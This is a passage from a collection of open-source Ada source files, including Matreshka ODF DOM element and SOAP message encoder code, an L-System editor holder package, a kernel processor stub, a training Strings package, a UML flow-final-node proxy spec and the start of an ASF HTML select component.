ODF.DOM.Visitors.Abstract_ODF_Visitor'Class then ODF.DOM.Visitors.Abstract_ODF_Visitor'Class (Visitor).Enter_Text_Chapter (ODF.DOM.Text_Chapter_Elements.ODF_Text_Chapter_Access (Self), Control); else Matreshka.DOM_Elements.Abstract_Element_Node (Self.all).Enter_Node (Visitor, Control); end if; end Enter_Node; -------------------- -- Get_Local_Name -- -------------------- overriding function Get_Local_Name (Self : not null access constant Text_Chapter_Element_Node) return League.Strings.Universal_String is pragma Unreferenced (Self); begin return Matreshka.ODF_String_Constants.Chapter_Element; end Get_Local_Name; ---------------- -- Leave_Node -- ---------------- overriding procedure Leave_Node (Self : not null access Text_Chapter_Element_Node; Visitor : in out XML.DOM.Visitors.Abstract_Visitor'Class; Control : in out XML.DOM.Visitors.Traverse_Control) is begin if Visitor in ODF.DOM.Visitors.Abstract_ODF_Visitor'Class then ODF.DOM.Visitors.Abstract_ODF_Visitor'Class (Visitor).Leave_Text_Chapter (ODF.DOM.Text_Chapter_Elements.ODF_Text_Chapter_Access (Self), Control); else Matreshka.DOM_Elements.Abstract_Element_Node (Self.all).Leave_Node (Visitor, Control); end if; end Leave_Node; ---------------- -- Visit_Node -- ---------------- overriding procedure Visit_Node (Self : not null access Text_Chapter_Element_Node; Iterator : in out XML.DOM.Visitors.Abstract_Iterator'Class; Visitor : in out XML.DOM.Visitors.Abstract_Visitor'Class; Control : in out XML.DOM.Visitors.Traverse_Control) is begin if Iterator in ODF.DOM.Iterators.Abstract_ODF_Iterator'Class then ODF.DOM.Iterators.Abstract_ODF_Iterator'Class (Iterator).Visit_Text_Chapter (Visitor, ODF.DOM.Text_Chapter_Elements.ODF_Text_Chapter_Access (Self), Control); else Matreshka.DOM_Elements.Abstract_Element_Node (Self.all).Visit_Node (Iterator, Visitor, Control); end if; end Visit_Node; begin Matreshka.DOM_Documents.Register_Element (Matreshka.ODF_String_Constants.Text_URI, Matreshka.ODF_String_Constants.Chapter_Element, Text_Chapter_Element_Node'Tag); end Matreshka.ODF_Text.Chapter_Elements;
reznikmm/matreshka
Ada
10,938
adb
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Web Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2012-2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with Ada.Unchecked_Deallocation; with League.Strings; with League.Text_Codecs; with XML.SAX.Attributes; with XML.SAX.String_Output_Destinations; with XML.SAX.Pretty_Writers; with XML.SAX.Writers; with Web_Services.SOAP.Constants; with Web_Services.SOAP.Headers.Encoders.Registry; with Web_Services.SOAP.Payloads.Encoders.Registry; with Web_Services.SOAP.Payloads.Faults.Encoders.Registry; package body Web_Services.SOAP.Message_Encoders is use Web_Services.SOAP.Constants; procedure Free is new Ada.Unchecked_Deallocation (Web_Services.SOAP.Payloads.Encoders.SOAP_Payload_Encoder'Class, Web_Services.SOAP.Payloads.Encoders.SOAP_Payload_Encoder_Access); procedure Encode_Fault (Fault : Web_Services.SOAP.Payloads.Faults.Abstract_SOAP_Fault'Class; Writer : in out XML.SAX.Writers.SAX_Writer'Class); ------------ -- Encode -- ------------ function Encode (Self : in out SOAP_Message_Encoder'Class; Message : Web_Services.SOAP.Messages.SOAP_Message) return League.Stream_Element_Vectors.Stream_Element_Vector is pragma Unreferenced (Self); use type Web_Services.SOAP.Payloads.SOAP_Payload_Access; Codec : constant League.Text_Codecs.Text_Codec := League.Text_Codecs.Codec (League.Strings.To_Universal_String ("utf-8")); Output : aliased XML.SAX.String_Output_Destinations.String_Output_Destination; Writer : XML.SAX.Pretty_Writers.XML_Pretty_Writer; Encoder : Web_Services.SOAP.Payloads.Encoders.SOAP_Payload_Encoder_Access; begin Writer.Set_Output_Destination (Output'Unchecked_Access); Writer.Start_Document; Writer.Start_Prefix_Mapping (SOAP_Envelope_Prefix, SOAP_Envelope_URI); -- Start env:Envelope element. Writer.Start_Element (SOAP_Envelope_URI, SOAP_Envelope_Name); -- Write env:Header elements. for Header of Message.Headers loop Writer.Start_Element (SOAP_Envelope_URI, SOAP_Header_Name); declare Header_Encoder : constant Web_Services.SOAP .Headers.Encoders.SOAP_Header_Encoder_Access := Web_Services.SOAP.Headers.Encoders.Registry.Resolve (Header'Tag); begin Header_Encoder.Encode (Header.all, Writer); end; Writer.End_Element (SOAP_Envelope_URI, SOAP_Header_Name); end loop; -- Start env:Body element. Writer.Start_Element (SOAP_Envelope_URI, SOAP_Body_Name); -- Encode SOAP Body, when available. if Message.Payload /= null then if Message.Payload.all in Web_Services.SOAP.Payloads.Faults.Abstract_SOAP_Fault'Class then -- Encode SOAP Fault. Encode_Fault (Web_Services.SOAP.Payloads.Faults.Abstract_SOAP_Fault'Class (Message.Payload.all), Writer); else -- Lookup for SOAP payload encoder. Encoder := Web_Services.SOAP.Payloads.Encoders.Registry.Resolve (Message.Payload'Tag); Encoder.Encode (Message.Payload.all, Writer); Free (Encoder); end if; end if; -- End env:Body and env:Envelope elements. Writer.End_Element (SOAP_Envelope_URI, SOAP_Body_Name); Writer.End_Element (SOAP_Envelope_URI, SOAP_Envelope_Name); return Codec.Encode (Output.Get_Text); end Encode; ------------------ -- Encode_Fault -- ------------------ procedure Encode_Fault (Fault : Web_Services.SOAP.Payloads.Faults.Abstract_SOAP_Fault'Class; Writer : in out XML.SAX.Writers.SAX_Writer'Class) is procedure Write_Subcode (Index : Positive); ------------------- -- Write_Subcode -- ------------------- procedure Write_Subcode (Index : Positive) is Code : constant Web_Services.SOAP.Payloads.Faults.Fault_Code := Fault.Subcodes.Element (Index); begin Writer.Start_Element (SOAP_Envelope_URI, SOAP_Subcode_Name); Writer.Start_Prefix_Mapping (Code.Prefix, Code.Namespace_URI); Writer.Start_Element (SOAP_Envelope_URI, SOAP_Value_Name); Writer.Characters (Code.Prefix); -- XXX Namespace URI to prefix mapping resolution must to be -- implemented here. Writer.Characters (':'); Writer.Characters (Code.Local_Name); Writer.End_Element (SOAP_Envelope_URI, SOAP_Value_Name); if Integer (Fault.Subcodes.Length) > Index then Write_Subcode (Index + 1); end if; Writer.End_Element (SOAP_Envelope_URI, SOAP_Subcode_Name); end Write_Subcode; Reason : constant Web_Services.SOAP.Payloads.Faults.Language_Text_Maps.Map := Fault.Reason; Position : Web_Services.SOAP.Payloads.Faults.Language_Text_Maps.Cursor := Reason.First; Attributes : XML.SAX.Attributes.SAX_Attributes; Encoder : Web_Services.SOAP.Payloads.Faults.Encoders.SOAP_Fault_Encoder_Access; begin Writer.Start_Element (SOAP_Envelope_URI, SOAP_Fault_Name); -- Serialize mandatory 'Code' element. 'Value' element is mandatory, -- while 'Subcode' elements are optional. Writer.Start_Element (SOAP_Envelope_URI, SOAP_Code_Name); Writer.Start_Element (SOAP_Envelope_URI, SOAP_Value_Name); Writer.Characters (Fault.Code.Prefix); -- XXX Namespace URI to prefix mapping resolution must to be implemented -- here. Writer.Characters (':'); Writer.Characters (Fault.Code.Local_Name); Writer.End_Element (SOAP_Envelope_URI, SOAP_Value_Name); -- Serialize 'Subcode' elements. if not Fault.Subcodes.Is_Empty then Write_Subcode (1); end if; Writer.End_Element (SOAP_Envelope_URI, SOAP_Code_Name); -- Serialize mandatory 'Reason' element. Writer.Start_Element (SOAP_Envelope_URI, SOAP_Reason_Name); while Web_Services.SOAP.Payloads.Faults.Language_Text_Maps.Has_Element (Position) loop Attributes.Clear; Attributes.Set_Value (XML_URI, XML_Lang_Name, Web_Services.SOAP.Payloads.Faults.Language_Text_Maps.Key (Position)); Writer.Start_Element (SOAP_Envelope_URI, SOAP_Text_Name, Attributes => Attributes); Writer.Characters (Web_Services.SOAP.Payloads.Faults.Language_Text_Maps.Element (Position)); Writer.End_Element (SOAP_Envelope_URI, SOAP_Text_Name); Web_Services.SOAP.Payloads.Faults.Language_Text_Maps.Next (Position); end loop; Writer.End_Element (SOAP_Envelope_URI, SOAP_Reason_Name); -- -- Serialize optional 'Node' attribute. -- -- Abstract_SOAP_Fault_Encoder'Class (Self).Encode_Node (Fault, Writer); -- -- -- Serialize optional 'Role' attribute. -- -- Abstract_SOAP_Fault_Encoder'Class (Self).Encode_Role (Fault, Writer); -- Serialize optional 'Detail' attribute when necessary. if Fault.Has_Detail then Writer.Start_Element (SOAP_Envelope_URI, SOAP_Detail_Name); Encoder := Web_Services.SOAP.Payloads.Faults.Encoders.Registry.Resolve (Fault'Tag); Encoder.Encode (Fault, Writer); Writer.End_Element (SOAP_Envelope_URI, SOAP_Detail_Name); end if; Writer.End_Element (SOAP_Envelope_URI, SOAP_Fault_Name); end Encode_Fault; end Web_Services.SOAP.Message_Encoders;
Heziode/lsystem-editor
Ada
1,694
ads
------------------------------------------------------------------------------- -- LSE -- L-System Editor -- Author: Heziode -- -- License: -- MIT License -- -- Copyright (c) 2018 Quentin Dauprat (Heziode) <[email protected]> -- -- Permission is hereby granted, free of charge, to any person obtaining a -- copy of this software and associated documentation files (the "Software"), -- to deal in the Software without restriction, including without limitation -- the rights to use, copy, modify, merge, publish, distribute, sublicense, -- and/or sell copies of the Software, and to permit persons to whom the -- Software is furnished to do so, subject to the following conditions: -- -- The above copyright notice and this permission notice shall be included in -- all copies or substantial portions of the Software. -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -- DEALINGS IN THE SOFTWARE. ------------------------------------------------------------------------------- with Ada.Containers.Indefinite_Holders; with LSE.Model.IO.Drawing_Area; -- @description -- This package provide a pointer of Drawing Area. -- package LSE.Model.IO.Drawing_Area.Drawing_Area_Ptr is new Ada.Containers.Indefinite_Holders (LSE.Model.IO.Drawing_Area.Services'Class);
reznikmm/matreshka
Ada
3,797
adb
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2013, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with ODF.Constants; package body Matreshka.ODF_Attributes.Style.Distance_After_Sep is -------------------- -- Get_Local_Name -- -------------------- overriding function Get_Local_Name (Self : not null access constant Style_Distance_After_Sep_Node) return League.Strings.Universal_String is begin return ODF.Constants.Distance_After_Sep_Name; end Get_Local_Name; end Matreshka.ODF_Attributes.Style.Distance_After_Sep;
burratoo/Acton
Ada
1,179
adb
------------------------------------------------------------------------------------------ -- -- -- OAK CORE SUPPORT PACKAGE -- -- ARM CORTEX M4F -- -- -- -- OAK.CORE_SUPPORT_PACKAGE.PROCESSOR -- -- -- -- Copyright (C) 2014-2021, Patrick Bernardi -- -- -- ------------------------------------------------------------------------------------------ package body Oak.Core_Support_Package.Processor is ----------------------- -- Get_Proccessor_Id -- ----------------------- function Proccessor_Id return Kernel_Id is begin return 1; end Proccessor_Id; end Oak.Core_Support_Package.Processor;
AdaCore/training_material
Ada
588
adb
package body Strings is function "&" (L, R : String_T) return String_T is (From_String (To_String (L) & To_String (R))); function To_String (S : String_T) return String is (S.Text (1 .. S.Length)); function From_String (S : String) return String_T is L : constant Natural := Integer'min (S'length, Maximum_Length); Retval : String_T; begin Retval.Length := L; Retval.Text (1 .. L) := S (S'first .. S'first + L - 1); return Retval; end From_String; end Strings;
reznikmm/matreshka
Ada
14,420
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with AMF.Internals.UML_Named_Elements; with AMF.UML.Activities; with AMF.UML.Activity_Edges.Collections; with AMF.UML.Activity_Groups.Collections; with AMF.UML.Activity_Nodes.Collections; with AMF.UML.Activity_Partitions.Collections; with AMF.UML.Classifiers.Collections; with AMF.UML.Dependencies.Collections; with AMF.UML.Flow_Final_Nodes; with AMF.UML.Interruptible_Activity_Regions.Collections; with AMF.UML.Named_Elements; with AMF.UML.Namespaces; with AMF.UML.Packages.Collections; with AMF.UML.Redefinable_Elements.Collections; with AMF.UML.String_Expressions; with AMF.UML.Structured_Activity_Nodes; with AMF.Visitors; package AMF.Internals.UML_Flow_Final_Nodes is type UML_Flow_Final_Node_Proxy is limited new AMF.Internals.UML_Named_Elements.UML_Named_Element_Proxy and AMF.UML.Flow_Final_Nodes.UML_Flow_Final_Node with null record; overriding function Get_Activity (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Activities.UML_Activity_Access; -- Getter of ActivityNode::activity. -- -- Activity containing the node. overriding procedure Set_Activity (Self : not null access UML_Flow_Final_Node_Proxy; To : AMF.UML.Activities.UML_Activity_Access); -- Setter of ActivityNode::activity. -- -- Activity containing the node. overriding function Get_In_Group (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Activity_Groups.Collections.Set_Of_UML_Activity_Group; -- Getter of ActivityNode::inGroup. -- -- Groups containing the node. overriding function Get_In_Interruptible_Region (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Interruptible_Activity_Regions.Collections.Set_Of_UML_Interruptible_Activity_Region; -- Getter of ActivityNode::inInterruptibleRegion. -- -- Interruptible regions containing the node. overriding function Get_In_Partition (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Activity_Partitions.Collections.Set_Of_UML_Activity_Partition; -- Getter of ActivityNode::inPartition. -- -- Partitions containing the node. overriding function Get_In_Structured_Node (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Structured_Activity_Nodes.UML_Structured_Activity_Node_Access; -- Getter of ActivityNode::inStructuredNode. -- -- Structured activity node containing the node. overriding procedure Set_In_Structured_Node (Self : not null access UML_Flow_Final_Node_Proxy; To : AMF.UML.Structured_Activity_Nodes.UML_Structured_Activity_Node_Access); -- Setter of ActivityNode::inStructuredNode. -- -- Structured activity node containing the node. overriding function Get_Incoming (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Activity_Edges.Collections.Set_Of_UML_Activity_Edge; -- Getter of ActivityNode::incoming. -- -- Edges that have the node as target. overriding function Get_Outgoing (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Activity_Edges.Collections.Set_Of_UML_Activity_Edge; -- Getter of ActivityNode::outgoing. -- -- Edges that have the node as source. overriding function Get_Redefined_Node (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Activity_Nodes.Collections.Set_Of_UML_Activity_Node; -- Getter of ActivityNode::redefinedNode. -- -- Inherited nodes replaced by this node in a specialization of the -- activity. overriding function Get_Is_Leaf (Self : not null access constant UML_Flow_Final_Node_Proxy) return Boolean; -- Getter of RedefinableElement::isLeaf. -- -- Indicates whether it is possible to further redefine a -- RedefinableElement. If the value is true, then it is not possible to -- further redefine the RedefinableElement. Note that this property is -- preserved through package merge operations; that is, the capability to -- redefine a RedefinableElement (i.e., isLeaf=false) must be preserved in -- the resulting RedefinableElement of a package merge operation where a -- RedefinableElement with isLeaf=false is merged with a matching -- RedefinableElement with isLeaf=true: the resulting RedefinableElement -- will have isLeaf=false. Default value is false. overriding procedure Set_Is_Leaf (Self : not null access UML_Flow_Final_Node_Proxy; To : Boolean); -- Setter of RedefinableElement::isLeaf. -- -- Indicates whether it is possible to further redefine a -- RedefinableElement. If the value is true, then it is not possible to -- further redefine the RedefinableElement. Note that this property is -- preserved through package merge operations; that is, the capability to -- redefine a RedefinableElement (i.e., isLeaf=false) must be preserved in -- the resulting RedefinableElement of a package merge operation where a -- RedefinableElement with isLeaf=false is merged with a matching -- RedefinableElement with isLeaf=true: the resulting RedefinableElement -- will have isLeaf=false. Default value is false. overriding function Get_Redefined_Element (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Redefinable_Elements.Collections.Set_Of_UML_Redefinable_Element; -- Getter of RedefinableElement::redefinedElement. -- -- The redefinable element that is being redefined by this element. overriding function Get_Redefinition_Context (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Classifiers.Collections.Set_Of_UML_Classifier; -- Getter of RedefinableElement::redefinitionContext. -- -- References the contexts that this element may be redefined from. overriding function Get_Client_Dependency (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Dependencies.Collections.Set_Of_UML_Dependency; -- Getter of NamedElement::clientDependency. -- -- Indicates the dependencies that reference the client. overriding function Get_Name_Expression (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.String_Expressions.UML_String_Expression_Access; -- Getter of NamedElement::nameExpression. -- -- The string expression used to define the name of this named element. overriding procedure Set_Name_Expression (Self : not null access UML_Flow_Final_Node_Proxy; To : AMF.UML.String_Expressions.UML_String_Expression_Access); -- Setter of NamedElement::nameExpression. -- -- The string expression used to define the name of this named element. overriding function Get_Namespace (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Namespaces.UML_Namespace_Access; -- Getter of NamedElement::namespace. -- -- Specifies the namespace that owns the NamedElement. overriding function Get_Qualified_Name (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.Optional_String; -- Getter of NamedElement::qualifiedName. -- -- A name which allows the NamedElement to be identified within a -- hierarchy of nested Namespaces. It is constructed from the names of the -- containing namespaces starting at the root of the hierarchy and ending -- with the name of the NamedElement itself. overriding function Is_Consistent_With (Self : not null access constant UML_Flow_Final_Node_Proxy; Redefinee : AMF.UML.Redefinable_Elements.UML_Redefinable_Element_Access) return Boolean; -- Operation RedefinableElement::isConsistentWith. -- -- The query isConsistentWith() specifies, for any two RedefinableElements -- in a context in which redefinition is possible, whether redefinition -- would be logically consistent. By default, this is false; this -- operation must be overridden for subclasses of RedefinableElement to -- define the consistency conditions. overriding function Is_Redefinition_Context_Valid (Self : not null access constant UML_Flow_Final_Node_Proxy; Redefined : AMF.UML.Redefinable_Elements.UML_Redefinable_Element_Access) return Boolean; -- Operation RedefinableElement::isRedefinitionContextValid. -- -- The query isRedefinitionContextValid() specifies whether the -- redefinition contexts of this RedefinableElement are properly related -- to the redefinition contexts of the specified RedefinableElement to -- allow this element to redefine the other. By default at least one of -- the redefinition contexts of this element must be a specialization of -- at least one of the redefinition contexts of the specified element. overriding function All_Owning_Packages (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Packages.Collections.Set_Of_UML_Package; -- Operation NamedElement::allOwningPackages. -- -- The query allOwningPackages() returns all the directly or indirectly -- owning packages. overriding function Is_Distinguishable_From (Self : not null access constant UML_Flow_Final_Node_Proxy; N : AMF.UML.Named_Elements.UML_Named_Element_Access; Ns : AMF.UML.Namespaces.UML_Namespace_Access) return Boolean; -- Operation NamedElement::isDistinguishableFrom. -- -- The query isDistinguishableFrom() determines whether two NamedElements -- may logically co-exist within a Namespace. By default, two named -- elements are distinguishable if (a) they have unrelated types or (b) -- they have related types but different names. overriding function Namespace (Self : not null access constant UML_Flow_Final_Node_Proxy) return AMF.UML.Namespaces.UML_Namespace_Access; -- Operation NamedElement::namespace. -- -- Missing derivation for NamedElement::/namespace : Namespace overriding procedure Enter_Element (Self : not null access constant UML_Flow_Final_Node_Proxy; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control); -- Dispatch call to corresponding subprogram of visitor interface. overriding procedure Leave_Element (Self : not null access constant UML_Flow_Final_Node_Proxy; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control); -- Dispatch call to corresponding subprogram of visitor interface. overriding procedure Visit_Element (Self : not null access constant UML_Flow_Final_Node_Proxy; Iterator : in out AMF.Visitors.Abstract_Iterator'Class; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control); -- Dispatch call to corresponding subprogram of iterator interface. end AMF.Internals.UML_Flow_Final_Nodes;
reznikmm/matreshka
Ada
3,683
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2013, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with XML.DOM.Attributes; package ODF.DOM.Attributes.Style.Font_Weight_Complex is type ODF_Style_Font_Weight_Complex is new XML.DOM.Attributes.DOM_Attribute with private; private type ODF_Style_Font_Weight_Complex is new XML.DOM.Attributes.DOM_Attribute with null record; end ODF.DOM.Attributes.Style.Font_Weight_Complex;
stcarrez/ada-asf
Ada
16,007
adb
----------------------------------------------------------------------- -- html-selects -- ASF HTML UISelectOne and UISelectMany components -- Copyright (C) 2011, 2013, 2014, 2015, 2022 Stephane Carrez -- Written by Stephane Carrez ([email protected]) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Util.Strings; with ASF.Utils; package body ASF.Components.Html.Selects is -- ------------------------------ -- UISelectItem Component -- ------------------------------ ITEM_LABEL_NAME : constant String := "itemLabel"; ITEM_VALUE_NAME : constant String := "itemValue"; ITEM_DESCRIPTION_NAME : constant String := "itemDescription"; ITEM_DISABLED_NAME : constant String := "itemDisabled"; SELECT_ATTRIBUTE_NAMES : Util.Strings.String_Set.Set; -- ------------------------------ -- UISelectBoolean Component -- ------------------------------ -- Render the checkbox element. overriding procedure Render_Input (UI : in UISelectBoolean; Context : in out Faces_Context'Class; Write_Id : in Boolean := True) is use ASF.Components.Html.Forms; Writer : constant Response_Writer_Access := Context.Get_Response_Writer; Value : constant EL.Objects.Object := UIInput'Class (UI).Get_Value; begin Writer.Start_Element ("input"); Writer.Write_Attribute (Name => "type", Value => "checkbox"); UI.Render_Attributes (Context, SELECT_ATTRIBUTE_NAMES, Writer, Write_Id); Writer.Write_Attribute (Name => "name", Value => UI.Get_Client_Id); if not EL.Objects.Is_Null (Value) and then EL.Objects.To_Boolean (Value) then Writer.Write_Attribute (Name => "checked", Value => "true"); end if; Writer.End_Element ("input"); end Render_Input; -- ------------------------------ -- Convert the string into a value. If a converter is specified on the component, -- use it to convert the value. Make sure the result is a boolean. -- ------------------------------ overriding function Convert_Value (UI : in UISelectBoolean; Value : in String; Context : in Faces_Context'Class) return EL.Objects.Object is use type EL.Objects.Data_Type; Result : constant 